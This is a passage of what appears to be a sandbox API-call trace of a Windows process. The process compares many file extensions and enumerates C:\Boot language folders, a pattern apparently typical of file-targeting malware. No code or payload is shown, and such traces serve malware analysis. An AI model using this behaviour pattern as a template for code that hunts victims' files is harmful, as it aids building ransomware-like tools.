	[0036.899] lstrlenW (lpString=".dotx") returned 5
	[0036.900] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dpx") returned 4
	[0036.900] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dqy") returned 4
	[0036.900] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dsn") returned 4
	[0036.900] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dt") returned 3
	[0036.900] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1
	[0036.900] lstrlenW (lpString=".dtd") returned 4
	[0036.900] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dwg") returned 4
	[0036.900] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dwt") returned 4
	[0036.900] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".dx") returned 3
	[0036.900] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1
	[0036.900] lstrlenW (lpString=".dxf") returned 4
	[0036.900] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".edml") returned 5
	[0036.900] lstrcmpiW (lpString1=".edml", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".efd") returned 4
	[0036.900] lstrcmpiW (lpString1=".efd", lpString2="") returned 1
	[0036.900] lstrlenW (lpString=".elf") returned 4
	[0036.900] lstrcmpiW (lpString1=".elf", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".emf") returned 4
	[0036.901] lstrcmpiW (lpString1=".emf", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".emz") returned 4
	[0036.901] lstrcmpiW (lpString1=".emz", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".epf") returned 4
	[0036.901] lstrcmpiW (lpString1=".epf", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".eps") returned 4
	[0036.901] lstrcmpiW (lpString1=".eps", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".epsf") returned 5
	[0036.901] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".epsp") returned 5
	[0036.901] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".erf") returned 4
	[0036.901] lstrcmpiW (lpString1=".erf", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".exr") returned 4
	[0036.901] lstrcmpiW (lpString1=".exr", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".f4v") returned 4
	[0036.901] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1
	[0036.901] lstrlenW (lpString=".fido") returned 5
	[0036.901] lstrcmpiW (lpString1=".fido", lpString2="") returned 1
	[0036.901] lstrcmpiW (lpString1=".flm", lpString2="") returned 1
	[0036.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.902] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.905] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.905] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.905] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.905] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0036.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.905] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.906] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.906] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.907] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.907] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0036.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.907] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.910] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.910] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.910] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.911] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0036.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.911] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.911] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.911] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.911] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.911] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0036.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.911] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.916] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.916] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.916] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.916] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0036.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.916] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.948] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.957] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.959] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.959] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0036.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.959] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.959] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.960] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.960] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.960] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0036.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.960] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.960] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.960] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0036.960] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.960] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0036.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.961] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0036.961] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.961] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.961] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0036.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0036.961] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0036.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0036.961] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
